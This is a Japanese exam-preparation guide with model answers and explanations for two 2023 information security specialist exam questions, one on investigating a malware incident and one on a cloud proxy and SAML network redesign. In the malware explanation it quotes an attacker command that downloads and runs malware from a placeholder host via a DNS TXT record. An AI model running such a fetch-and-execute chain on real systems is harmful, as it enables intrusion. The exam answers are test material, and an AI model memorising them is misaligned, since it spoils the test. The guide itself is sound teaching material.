設問2は,(3),(4)ともに正答率が高かった。攻撃の調査では,マルウェアの“バインドモード”,“コネクトモード”のそれぞれの通信の方向を理解した上で,プロセスの起動,ポートの利用,FWの通信記録など複数の情報の関連性を正しく把握する必要がある。複数の情報を組み合わせて調査することの必要性を認識してほしい。

設問2(4) 解答欄1つ

本文中の e に入れる適切な数を,表2中から選び答えよ。

〔e〕解答例

  • 1365
解説

本文の根拠

表2 項番2-5

2-5,app,1365,1293,04/21 15:14,./srv -s -range 192.168.0.1-192.168.255.254。

〔受付サーバのプロセスとネットワーク接続の調査〕

C&C(Command and Control)サーバから指示を受け,子プロセスを起動してポートスキャンなど行う。

srv は C&C サーバから指示を受けると,子プロセスを起動してポートスキャンなどを行う。C&C サーバとの接続に成功したのは,PID 1293 のコネクトモードのプロセスである。ポートスキャンを実行したのは,その子プロセスに当たるものを表2から探せばよい。

表2の 2-5 は PPID(親プロセス ID)が 1293 で,開始日時は 15:14(C&C サーバに接続した 15:08 より後),コマンドラインは -s -range 192.168.0.1-192.168.255.254 と,アドレス範囲を指定したスキャンの形をしている。表3の 3-5 でも,この PID 1365 のプロセスが 192.168.253.124:21 に SYN を送っている(SYN_SENT)。したがって e は 1365 である。

バインドモードの 2-3(PID 1275)は C&C サーバとの接続に失敗したプロセスで,親も 7438(Web アプリ)なので,スキャンの実行元にならない。PID と PPID の列を取り違えないようにする。

採点講評(IPA)

設問2は,(3),(4)ともに正答率が高かった。攻撃の調査では,マルウェアの“バインドモード”,“コネクトモード”のそれぞれの通信の方向を理解した上で,プロセスの起動,ポートの利用,FWの通信記録など複数の情報の関連性を正しく把握する必要がある。複数の情報を組み合わせて調査することの必要性を認識してほしい。

設問3(1) 30字以内

本文中の下線③について,A レコードではこのような攻撃ができないが,TXT レコードではできる。TXT レコードではできる理由を,DNS プロトコルの仕様を踏まえて 30 字以内で答えよ。

解答例

  • TXTレコードには任意の文字列を設定できるから
解説

本文の根拠

〔受付サーバの設定変更の調査〕

TXT レコードのリソースデータを取得し,リソースデータの内容をそのままコマンドとして実行する

図2

wget https://a0.b0.c0.d0/logd

A レコードの値は IPv4 アドレス(32ビット)に決まっており,RFC 1035 でその形式が定められているので,任意の文字列を載せられない。これに対して TXT レコードは,文字列(character-string)を値として格納できるレコードで,値の内容に決まった意味は無い(RFC 1035)。

攻撃者は,この TXT レコードにコマンドの文字列(図2の wget ... && chmod +x ... && nohup ... のようなもの)を設定しておき,受付サーバの cron エントリーが起動時に DNS で取得して,そのまま実行する。A レコードで取得できるのは IP アドレスだけなので,同じ方法ではコマンドを渡せない。

30字以内なので,“TXTレコードには任意の文字列を設定できるから”(23字)のように,TXT レコードの値が任意の文字列であることを中心に書く。A レコードとの違い(アドレスしか入らない)まで書く余裕は無い。

設問3(2) 30字以内

本文中の下線④について,適切ではない理由を,30 字以内で答えよ。

解答例

  • 稼働しているファイルと内容が異なる可能性があるから
解説

本文の根拠

〔受付サーバの設定変更の調査〕

M さんは,logd のファイルについてハッシュ値を調べたが,情報が見つからなかった

〔受付サーバの設定変更の調査〕

Web ブラウザで図2の URL から logd のファイルをダウンロードし

調査の対象は,受付サーバで実際に稼働していた不審なプロセス logd のファイルである。図2の URL から Web ブラウザでダウンロードしたファイルは,攻撃者が管理する URL 上のファイルなので,受付サーバに置かれたものと同じ内容とは限らない。

攻撃者は,時間の経過とともに URL 上のファイルを差し替えたり,アクセスしてきた相手によって返す内容を変えたりできる。そのため,URL から取得したファイルを解析しても,受付サーバに仕掛けられたマルウェアの解析にならないおそれがある。採点講評も,時間の経過とともに URL 上のファイルが変わっている可能性があることを認識し,証拠保全や不審ファイルの取扱方法を理解するよう述べている。

30字以内なので,“稼働しているファイルと内容が異なる可能性があるから”(25字)のように,“稼働しているファイル”と“内容が異なる可能性”の二つを残す。“危険だから”のような一般論は,この設問の理由にならない。

採点講評(IPA)

設問3(2)は,正答率が平均的であった。時間の経過とともにURL上のファイルが変わっている可能性があることを認識し,証拠保全や不審ファイルの取扱方法について理解を深めてほしい。

設問3(3) 10字以内 解答欄1つ

本文中の f に入れる適切なサーバ名を,10 字以内で答えよ。

〔f〕解答例

  • 受付サーバ
解説

本文の根拠

〔受付サーバの設定変更の調査〕

M さんが受付サーバを更に調査したところ,logd という名称の不審なプロセスが稼働していた。

〔受付サーバの設定変更の調査〕

調査対象とする logd のファイルを

下線④のとおり,URL からダウンロードしたファイルは解析対象として適切ではない。受付サーバでは logd という名称の不審なプロセスが実際に稼働していたので,解析すべきなのは,そのプロセスの実行ファイルである。M さんは,調査対象とする logd のファイルを受付サーバから取得して,マルウェア対策ソフトベンダーに解析を依頼した。

このとき,受付サーバは既に U 課長の指示でネットワークから切断されており,ファイルを取り出して解析しても,外部への通信は起きない。

10字以内の指定なので,“受付サーバ”(5字)と書く。“製造管理サーバ”や“ログ管理サーバ”のように,logd が稼働していない機器を答えない。

出典:令和5年度 春期 情報処理安全確保支援士試験 午後Ⅰ 問2(表記を一部改変)

問3 クラウドサービス利用

クラウドサービス利用に関する次の記述を読んで,設問に答えよ。

Q 社は,従業員 1,000 名の製造業であり,工場がある本社及び複数の営業所から成る。Q 社には,営業部,研究開発部,製造部,総務部,情報システム部がある。Q 社のネットワークは,情報システム部の K 部長と S 主任を含む 6 名で運用している。

Q 社の従業員には PC 及びスマートフォンが貸与されている。PC の社外持出しは禁止されており,PC の Web ブラウザからインターネットへのアクセスは,本社のプロキシサーバを経由する。Q 社では,業務で SaaS-a,SaaS-b,SaaS-c,SaaS-d という四つの SaaS,及び L サービスという IDaaS を利用している。Q 社のネットワーク構成を図1に,図1中の主な構成要素並びにその機能概要及び設定を表1に示す。

インターネットに,SaaS-b(注 2),SaaS-a(注 1),L サービス,SaaS-c(注 3),SaaS-d(注 4)が接続している。インターネットは本社の UTM に接続し,また複数の営業所(重なった枠で複数を表す)の UTM にも接続している。本社の枠の中に,DMZ,PC セグメント,サーバセグメント,工場セグメント(いずれも破線の枠)がある。DMZ には L2SW があり,DNS サーバ,プロキシサーバ,メールサーバが接続し,この L2SW は本社の UTM に接続する。PC セグメントには L2SW があり,PC(複数)が接続し,この L2SW は本社の UTM に接続する。サーバセグメントには L2SW があり,業務サーバと認証サーバが接続し,この L2SW は本社の UTM に接続する。本社の UTM は工場セグメントにも(点線で)接続する。営業所の枠の中では,UTM に L2SW が接続し,L2SW に PC(複数)が接続する。凡例:L2SW:レイヤー 2 スイッチ,UTM:統合脅威管理,メール:電子メール。注記 四つの SaaS のうち SaaS-a は,研究開発部の従業員が使用する。それ以外の SaaS は,全従業員が使用する。注 1)SaaS-a は,外部ストレージサービスであり,URL は,https://△△△-a.jp/ から始まる。注 2)SaaS-b は,営業支援サービスであり,URL は,https://○○○-b.jp/ から始まる。注 3)SaaS-c は,経営支援サービスであり,URL は,https://□□□-c.jp/ から始まる。注 4)SaaS-d は,Web 会議サービスであり,URL は,https://●●●-d.jp/ から始まる。
図1 Q 社のネットワーク構成
構成要素,機能名,機能概要,設定の4列の表(続きは次の図)。認証サーバ,認証機能,従業員が PC にログインする際,利用者 ID とパスワードを用いて従業員を認証する。,設定 有効。プロキシサーバ,プロキシ機能,PC からインターネット上の Web サーバへの HTTP 及び HTTPS 通信を中継する。,設定 有効。
表1 図1中の主な構成要素並びにその機能概要及び設定
構成要素,機能名,機能概要,設定の4列の表の続き。L サービス,SaaS 連携機能,SAML で各 SaaS と連携する。,有効。L サービス,送信元制限機能,契約した顧客が設定した IP アドレス(注 1)からのアクセスだけを許可する。それ以外のアクセスの場合,拒否するか,L サービスの多要素認証機能を動作させるかを選択できる。,設定 有効(注 2)。L サービス,多要素認証機能,次のいずれかの認証方式を,利用者 ID とパスワードによる認証方式と組み合わせる。(ア)スマートフォンに SMS でワンタイムパスワードを送り,それを入力させる方式(イ)TLS クライアント認証を行う方式,設定 無効。四つの SaaS,IDaaS 連携機能,SAML で IDaaS と連携する。,有効。UTM,ファイアウォール機能,ステートフルパケットインスペクション型であり,IP アドレス,ポート,通信の許可と拒否のルールによって通信を制御する。,設定 有効(注 3)。UTM,NAT 機能,(省略),有効。UTM,VPN 機能,IPsec によるインターネット VPN 通信を行う。拠点間 VPN 通信を行うこともできる。,設定 有効(注 4)。注 1)IP アドレスは,複数設定できる。注 2)本社の UTM のグローバル IP アドレスを送信元 IP アドレスとして設定している。設定している IP アドレス以外からのアクセスは拒否する設定にしている。注 3)インターネットからの通信で許可されているのは,本社の UTM では DMZ のサーバへの通信及び営業所からの VPN 通信だけであり,各営業所の UTM では一つも許可していない。注 4)本社の UTM と各営業所の UTM との間で VPN 通信する設定にしている。そのほかの VPN 通信の設定はしていない。
表1 図1中の主な構成要素並びにその機能概要及び設定(続き)

〔L サービスの動作確認〕

Q 社の PC が SaaS-a にアクセスするときの,SP-Initiated 方式の SAML 認証の流れを図2に示す。

左から a,b,c の3つの登場者(各ライフライン)があるシーケンス図。(1) サービス要求:b から c へ。(2) 認証要求(リダイレクト指示):c から b へ。(3) 認証要求:b から a へ。(4) 利用者の認証:a と b の間の双方向。(5) 認証応答(リダイレクト指示):a から b へ。(6) 認証応答:b から c へ。(7) サービス応答:c から b へ。
図2 SAML 認証の流れ

ある日,同業他社の J 社において,SaaS-a の偽サイトに誘導されるというフィッシング詐欺にあった結果,SaaS-a に不正アクセスされるという被害があったと報道された。しかし,Q 社の設定では,仮に,同様のフィッシング詐欺のメールを受けて SaaS-a の偽サイトに L サービスの利用者 ID とパスワードを入力してしまう従業員がいたとしても,①攻撃者がその利用者 ID とパスワードを使って社外から L サービスを利用することはできない。したがって,S 主任は,報道と同様の被害に Q 社があうおそれは低いと考えた。

〔在宅勤務導入における課題〕

Q 社は,全従業員を対象に在宅勤務を導入することになった。そこで,リモート接続用 PC(以下,R-PC という)を貸与し,各従業員宅のネットワークから本社のサーバにアクセスしてもらうことにした。しかし,在宅勤務導入によって新たなセキュリティリスクが生じること,また,本社への通信が増えて本社のインターネット回線がひっ迫することが懸念された。そこで,K 部長は,ネットワーク構成を見直すことにし,その要件を表2にまとめた。

要件,内容の2列の表。要件1:本社のインターネット回線をひっ迫させない。要件2:L サービスに接続できる PC を,本社と営業所の PC 及び R-PC に制限する。なお,従業員宅のネットワークについて,前提を置かない。要件3:R-PC から本社のサーバにアクセスできるようにする。ただし,UTM のファイアウォール機能には,インターネットからの通信を許可するルールを追加しない。要件4:HTTPS 通信の内容をマルウェアスキャンする。要件5:SaaS-a 以外の外部ストレージサービスへのアクセスは禁止とする。また,SaaS-a へのアクセスは業務で必要な最小限の利用者に限定する。
表2 ネットワーク構成の見直しの要件

K 部長がベンダーに相談したところ,R-PC,社内,クラウドサービスの間の通信を中継する P 社のクラウドサービス(以下,P サービスという)の紹介があった。P サービスには,次のいずれかの方法で接続する。

P サービスの主な機能を表3に示す。

項番,機能名,機能概要の3列の表。項番1,L サービス連携機能:・R-PC から P サービスを経由してアクセスする SaaS での認証を,L サービスの SaaS 連携機能及び多要素認証機能を用いて行うことができる。・L サービスの送信元制限機能には,P サービスに接続してきた送信元の IP アドレスが通知される。項番2,マルウェアスキャン機能:・送信元からの TLS 通信を終端し,復号してマルウェアスキャンを行う。マルウェアスキャンの完了後,再暗号化して送信先に送信する。これを実現するために,[ d ] を発行する [ e ] を,[ f ] として,PC にインストールする。項番3,URL カテゴリ単位フィルタリング機能:・アクセス先の URL カテゴリと利用者 ID との組みによって,“許可”又は“禁止”のアクションを適用する。・URL カテゴリには,ニュース,ゲーム,外部ストレージサービスなどがある。・各 URL カテゴリに含まれる URL のリストは,P 社が設定する。項番4,URL 単位フィルタリング機能:・アクセス先の URL のスキームからホストまでの部分(注 1)と利用者 ID との組みによって,“許可”又は“禁止”のアクションを適用する。項番5,通信可視化機能:・中継する通信のログを基に,クラウドサービスの利用状況の可視化を行う。本機能は,[ g ] の機能の一つである。項番6,リモートアクセス機能:・P コネクタ(注 2)を社内に導入することによって,社内と社外の境界にあるファイアウォールの設定を変更せずに社外から社内にアクセスできる。注 1)https://▲▲▲.■■■/ のように,“ https:// ”から最初の“ / ”までを示す。注 2)P 社が提供する通信機器である。P コネクタと P サービスとの通信は,P コネクタから P サービスに接続を開始する。
表3 P サービスの主な機能

K 部長は,P サービスの導入によって表2の要件を満たすネットワーク構成が可能かどうかを検討するように S 主任に指示した。

〔ネットワーク構成の見直し〕

S 主任は,P サービスを導入する場合の Q 社のネットワーク構成を図3に,表2の要件を満たすためのネットワーク構成の見直し案を表4にまとめて,表2の要件を満たすネットワーク構成が可能であることを K 部長に説明した。

図1の構成に,太枠の箇所が追加されている。インターネットに,SaaS-b,SaaS-a,L サービス,P サービス(太枠),R-PC(太枠,複数),SaaS-c,SaaS-d が接続している。本社の枠の中は,DMZ に L2SW があり,DNS サーバ,P コネクタ(太枠),メールサーバが接続し,この L2SW は本社の UTM に接続する。PC セグメントの L2SW には PC(複数)が,サーバセグメントの L2SW には業務サーバと認証サーバが接続し,いずれも本社の UTM に接続する。本社の UTM は工場セグメントにも(点線で)接続する。営業所の枠の中では,UTM に L2SW が接続し,L2SW に P コネクタ(太枠)と PC(複数)が接続する。注記 太枠の箇所を追加。
図3 P サービスを導入する場合の Q 社のネットワーク構成
要件,ネットワーク構成の見直し内容の2列の表。要件1:・<u>②営業所からインターネットへのアクセス方法を見直す。</u>(この内容に下線②が付いている)・L サービスでの送信元制限機能は有効にしたまま,<u>③営業所から L サービスにアクセスできるように設定を追加する。</u>(この内容に下線③が付いている)。要件2:・表3の項番1の機能を使う。・L サービスでの送信元制限機能において,Q 社が設定した IP アドレス以外からのアクセスに対する設定を変更する。さらに,多要素認証機能を有効にして,<u>④方式を選択する。</u>(この内容に下線④が付いている)。要件3:・表3の項番 [ h ] の機能を使う。要件4:・表3の項番 [ i ] の機能を使う。要件5:・表3の項番3及び項番4の機能を使って,表5に示す設定を行う。
表4 ネットワーク構成の見直し案(抜粋)
番号,表3の項番,URL カテゴリ又は URL,利用者 ID,アクションの5列の表。番号1:表3の項番 [ あ ],URL カテゴリ又は URL [ j ],利用者 ID [ k ] の利用者 ID,アクション [ l ]。番号2:表3の項番 [ い ],URL カテゴリ又は URL [ m ],利用者 ID [ n ] の利用者 ID,アクション [ o ]。注記 番号の小さい順に最初に一致したルールが適用される。
表5 要件5に対する設定

その後,表4のネットワーク構成の見直し案が上層部に承認され,P サービスの導入と新しいネットワーク構成への変更が行われ,6 か月後に在宅勤務が開始された。

出題趣旨(IPA)

昨今,オンプレミスシステムと比較した拡張性や運用性の高さから,クラウドサービスの導入が進んでいる。一方,クラウドサービスを安全に運用するためには,セキュリティ対策を十分に検討する必要がある。本問では,クラウドサービスの導入を題材として,与えられた要件に基づいてネットワーク構成及びセキュリティを設計する能力を問う。

採点講評(問全体・IPA)

問3では,クラウドサービスの導入を題材に,プロキシのクラウドサービスへの移行に伴うネットワーク構成の見直しについて出題した。全体として正答率は平均的であった。

設問と解答例

設問1(1) 解答欄3つ

図2中の a 〜 c に入れる適切な字句を,解答群の中から選び,記号で答えよ。 解答群 ア L サービス イ PC の Web ブラウザ ウ SaaS-a

〔a〕解答例

  • ア

〔b〕解答例

  • イ

〔c〕解答例

  • ウ
解説

本文の根拠

〔L サービスの動作確認〕

Q 社の PC が SaaS-a にアクセスするときの,SP-Initiated 方式の SAML 認証の流れを図2に示す。

図2

(1) サービス要求:b から c へ。(2) 認証要求(リダイレクト指示):c から b へ。(3) 認証要求:b から a へ。(4) 利用者の認証:a と b の間の双方向。

SP-Initiated 方式の SAML 認証は,利用者がサービス提供者(SP)にアクセスするところから始まる。SP は利用者を認証しないで,認証要求を Web ブラウザ経由で IdP(ID プロバイダ)にリダイレクトし,IdP が利用者を認証して認証応答(アサーション)を同じくブラウザ経由で SP に返す(OASIS の SAML 2.0 Web Browser SSO プロファイル)。

図2の(1)は b から c への“サービス要求”で,サービスを要求するのは PC の Web ブラウザだから b がイ,要求を受けるのは SaaS-a だから c がウである。(2)で c が b に認証要求のリダイレクトを指示し,(3)で b が a に認証要求を送るので,a は IdP である L サービス(ア)になる。(4)の利用者の認証は a と b の間,(5)(6)の認証応答は a から b を経て c に届き,(7)でサービス応答が返る。

仲介役は常に Web ブラウザ(b)で,SaaS-a と L サービスは直接通信しない。b の位置(真ん中)から,ブラウザと分かる。

設問1(2) 40字以内

本文中の下線①について,利用できない理由を,40 字以内で具体的に答えよ。

解答例

  • 送信元制限機能で,本社のUTMからのアクセスだけを許可しているから
解説

本文の根拠

表1 L サービス 送信元制限機能

契約した顧客が設定した IP アドレス(注 1)からのアクセスだけを許可する。

表1 注 2)

本社の UTM のグローバル IP アドレスを送信元 IP アドレスとして設定している。設定している IP アドレス以外からのアクセスは拒否する設定にしている。

表1 L サービス 多要素認証機能

設定 無効。

下線①は,利用者 ID とパスワードが攻撃者に渡っても,攻撃者が社外から L サービスを利用することはできない,という内容である。L サービスには送信元制限機能があり,本社の UTM のグローバル IP アドレスだけを送信元として許可し,ほかからのアクセスは拒否する設定になっている(表1の注2)。

攻撃者が社外から L サービスにアクセスすると,送信元 IP アドレスは本社の UTM のものではないので,利用者 ID とパスワードが正しくても,アクセス自体が拒否される。この時点では多要素認証機能は無効なので,パスワードだけで守っているのではなく,送信元 IP アドレスの制限が効いている点が理由になる。

40字以内に収めるには,“送信元制限機能”と“本社の UTM からのアクセスだけを許可”を残す。“多要素認証をしているから”と答えると,多要素認証機能が“無効”の表と食い違う。

設問2(1) 解答欄3つ

表3中の d 〜 f に入れる適切な字句を,解答群の中から選び,記号で答えよ。 解答群 ア P サービスのサーバ証明書 イ 信頼されたルート証明書 ウ 認証局の証明書

〔d〕解答例

  • ア

〔e〕解答例

  • ウ

〔f〕解答例

  • イ
解説

本文の根拠

表3 項番2

送信元からの TLS 通信を終端し,復号してマルウェアスキャンを行う。マルウェアスキャンの完了後,再暗号化して送信先に送信する。

P サービスは,送信元(PC)からの TLS 通信をいったん終端して復号し,マルウェアスキャンをしてから,再度暗号化して送信先に送る。PC の Web ブラウザからは,P サービスが接続先のサーバであるかのように見えるので,P サービスは接続先ごとにサーバ証明書を発行して使う。

ブラウザがこのサーバ証明書を警告なしで受け入れるには,発行した認証局を信頼されたルート証明書として登録しておく必要がある(RFC 5280 のいう,信頼の起点となる trust anchor)。したがって,“d を発行する e を,f として,PC にインストールする”は,「P サービスのサーバ証明書(d:ア)を発行する認証局の証明書(e:ウ)を,信頼されたルート証明書(f:イ)として,PC にインストールする」と読める。

解答群の3つの語は同じ文の中で役割が違うので,発行されるもの(サーバ証明書),発行する側(認証局の証明書),インストール先での位置付け(信頼されたルート証明書)に分けて考える。

設問2(2) 解答欄1つ

表3中の g に入れる適切な字句を,解答群の中から選び,記号で答えよ。 解答群 ア CAPTCHA イ CASB ウ CHAP エ CVSS オ クラウド WAF

〔g〕解答例

  • イ
解説

本文の根拠

表3 項番5

中継する通信のログを基に,クラウドサービスの利用状況の可視化を行う。

CASB(Cloud Access Security Broker)は,利用者とクラウドサービスの間に入って,クラウドサービスの利用状況の可視化,アクセス制御,データ保護などを行う仕組みである。表3の項番5が“中継する通信のログを基に,クラウドサービスの利用状況の可視化を行う”とあるので,g は CASB(イ)である。

項番1〜4の機能(認証連携,マルウェアスキャン,URL フィルタリング)や項番6(リモートアクセス)も含め,P サービスは利用者とクラウドサービスの通信を中継するので,CASB の機能の一つと見られる。

他の解答群は別の用語である。CAPTCHA は人間かどうかを判定する仕組み,CHAP は PPP などで使うチャレンジレスポンス認証(RFC 1994),CVSS は脆弱性の深刻度の評価手法,クラウド WAF は Web アプリケーションへの攻撃を防ぐサービスで,利用状況の可視化とは違う。

設問3(1) 30字以内

表4中の下線②について,見直し前と見直し後のアクセス方法の違いを,30 字以内で答えよ。

解答例

  • プロキシサーバではなく,Pサービスを経由させる。
解説

本文の根拠

本文冒頭

PC の Web ブラウザからインターネットへのアクセスは,本社のプロキシサーバを経由する。

表2 要件1

本社のインターネット回線をひっ迫させない。

表1 注 4)

本社の UTM と各営業所の UTM との間で VPN 通信する設定にしている。そのほかの VPN 通信の設定はしていない。

見直し前は,PC の Web ブラウザからインターネットへのアクセスが本社のプロキシサーバを経由する。営業所は本社の UTM との間の VPN で本社につながっているので,営業所の PC のインターネットアクセスも本社を通る。在宅勤務の導入で本社への通信が増え,本社のインターネット回線がひっ迫するおそれがあり,要件1がこれを避けるよう求めている。

見直し後は,図3のとおり P サービス(クラウド)と各拠点の P コネクタを導入する。営業所からのインターネットへのアクセスは,本社のプロキシサーバを経由させるのをやめ,P サービスを経由させる。これで営業所の通信が本社の回線を通らなくなり,本社の負荷が減る。

30字以内なので,“プロキシサーバではなく,Pサービスを経由させる。”(24字)のように,見直し前(プロキシサーバ)と見直し後(P サービス)を対にして書く。見直し後だけを書くと“違い”にならない。

採点講評(IPA)

設問3(1)は,正答率が低かった。“見直し前”と“見直し後”の通信経路について理解していないと思われる解答が散見された。クラウドサービスのセキュリティを確保するためには,クラウドサービスとの通信経路を把握する必要があるので,ネットワーク構成の見直しによってどのように通信経路が変わるかを理解してほしい。

設問3(2) 40字以内

表4中の下線③について,L サービスに追加する設定を,40 字以内で答えよ。

解答例

  • 送信元制限機能で,営業所のUTMのグローバルIPアドレスを設定する。
解説

本文の根拠

表3 項番1

L サービスの送信元制限機能には,P サービスに接続してきた送信元の IP アドレスが通知される。

表1 注 2)

本社の UTM のグローバル IP アドレスを送信元 IP アドレスとして設定している。

表4 要件1

L サービスでの送信元制限機能は有効にしたまま,

L サービスは,送信元制限機能で本社の UTM のグローバル IP アドレスだけを許可している。営業所からのインターネットアクセスが本社を経由しなくなると,営業所の PC は,営業所の UTM のグローバル IP アドレスを送信元として P サービスに接続することになり,L サービスの送信元制限に拒否されてしまう。

表3の項番1のとおり,L サービスの送信元制限機能には,P サービスに接続してきた送信元の IP アドレス(ここでは営業所の UTM のもの)が通知される。送信元制限機能は有効のままにしておくので,営業所の UTM のグローバル IP アドレスを送信元として追加で設定すればよい。

40字以内なので,“送信元制限機能で,営業所のUTMのグローバルIPアドレスを設定する。”のように,どの機能に,何を追加するかの2点を残す。拒否の設定の変更や多要素認証は要件2の話で,下線③の設定追加ではない。

設問3(3)

表4中の下線④について,選択する方式を,表1中の(ア),(イ)から選び,記号で答えよ。

解答例

  • (イ)
解説

本文の根拠

表2 要件2

L サービスに接続できる PC を,本社と営業所の PC 及び R-PC に制限する。なお,従業員宅のネットワークについて,前提を置かない。

表1 多要素認証機能

(イ)TLS クライアント認証を行う方式

要件2は,L サービスに接続できる PC を,本社と営業所の PC 及び R-PC に制限することを求めており,従業員宅のネットワークは前提にできない(送信元 IP アドレスで絞れない)。そこで,送信元制限機能では許可した IP アドレス以外を“拒否”ではなく“多要素認証を動作させる”ように変更し,その多要素認証で PC を限定する。

表1の方式(ア)は,スマートフォンに SMS で送ったワンタイムパスワードを入力させるもので,接続元が社内で管理する PC かどうかは確かめられない。方式(イ)の TLS クライアント認証は,クライアント証明書を持つ PC だけが接続できるので,証明書を入れた会社貸与の PC(R-PC)に接続元を限定できる。したがって④は(イ)である。

“PC を制限する”という要件の言葉を手掛かりに,認証の対象が利用者(ワンタイムパスワード)か端末(クライアント証明書)かで選ぶ。

設問3(4) 解答欄2つ

表4中の h ,i に入れる適切な数字を答えよ。

〔h〕解答例

  • 6

〔i〕解答例

  • 2
解説

本文の根拠

表2 要件3

R-PC から本社のサーバにアクセスできるようにする。ただし,UTM のファイアウォール機能には,インターネットからの通信を許可するルールを追加しない。

表3 項番6

P コネクタ(注 2)を社内に導入することによって,社内と社外の境界にあるファイアウォールの設定を変更せずに社外から社内にアクセスできる。

表2 要件4

HTTPS 通信の内容をマルウェアスキャンする。

表3 項番2

送信元からの TLS 通信を終端し,復号してマルウェアスキャンを行う。

要件3は,R-PC から本社のサーバにアクセスできるようにしつつ,UTM にインターネットからの通信を許可するルールを足さない,という条件である。表3の項番6のリモートアクセス機能は,P コネクタを社内に導入することで,ファイアウォールの設定を変えずに社外から社内にアクセスできる。注2のとおり,P コネクタと P サービスの通信は P コネクタから接続を開始するので,インターネット側からの接続を許可する必要がない。h は 6 である。

要件4は HTTPS 通信の内容のマルウェアスキャンで,表3の項番2のマルウェアスキャン機能が,TLS 通信を終端して復号し,スキャン後に再暗号化する。i は 2 である。

項番の数字を答えるだけなので,要件の言葉(“ファイアウォールの設定を変更しない”=項番6,“HTTPS 通信の内容をマルウェアスキャン”=項番2)と表3の機能概要を対応付けて確かめる。項番3・4は要件5で使われる。

設問3(5) 解答欄8つ

表5中の [ あ ] ,[ い ] に入れる適切な数字,j 〜 o に入れる適切な字句を答えよ。

〔あ〕解答例

  • 4

〔j〕解答例

  • https://△△△-a.jp/

〔k〕解答例

  • 研究開発部の従業員

〔l〕解答例

  • 許可

〔い〕解答例

  • 3

〔m〕解答例

  • 外部ストレージサービス

〔n〕解答例

  • 全て

〔o〕解答例

  • 禁止
解説

本文の根拠

表2 要件5

SaaS-a 以外の外部ストレージサービスへのアクセスは禁止とする。また,SaaS-a へのアクセスは業務で必要な最小限の利用者に限定する。

図1 注記

四つの SaaS のうち SaaS-a は,研究開発部の従業員が使用する。

図1 注 1)

SaaS-a は,外部ストレージサービスであり,URL は,https://△△△-a.jp/ から始まる。

表5 注記

番号の小さい順に最初に一致したルールが適用される。

表3 項番3,4

アクセス先の URL カテゴリと利用者 ID との組みによって,“許可”又は“禁止”のアクションを適用する。

要件5は,SaaS-a だけ,研究開発部の従業員にだけ許可し,ほかの外部ストレージサービスは全員に禁止する,という二つの条件である。SaaS-a は外部ストレージサービスで,URL は https://△△△-a.jp/ から始まる。表3の項番4(URL 単位)は URL のスキームからホストまでの部分と利用者 ID でアクションを決め,項番3は URL カテゴリ(外部ストレージサービスなど)と利用者 ID で決める。

表5の注記のとおり,番号の小さい順に最初に一致したルールが適用される。外部ストレージサービスのカテゴリには SaaS-a も含まれるので,カテゴリ全体を禁止するルールを先に置くと,SaaS-a も禁止になってしまう。そこで番号1に,項番4(あ:4)で URL https://△△△-a.jp/(j),研究開発部の従業員(k)の利用者 ID を許可(l)とする。番号2に,項番3(い:3)で外部ストレージサービス(m),全て(n)の利用者 ID を禁止(o)とする。

採点講評にもあるとおり,番号1と番号2を逆にした解答が散見された。特定のものを許可する例外ルールを先に,一般的な禁止ルールを後に置くのが,順番に意味があるフィルタリングの基本である。

採点講評(IPA)

設問3(5)は,正答率が平均的であった。表5の番号1と番号2について,逆に解答した受験者が散見された。適用されるルールの順番によって動作が変わってしまう。セキュリティ製品のフィルタリングルールでは,適用の順番に注意してほしい。

出典:令和5年度 春期 情報処理安全確保支援士試験 午後Ⅰ 問3(表記を一部改変)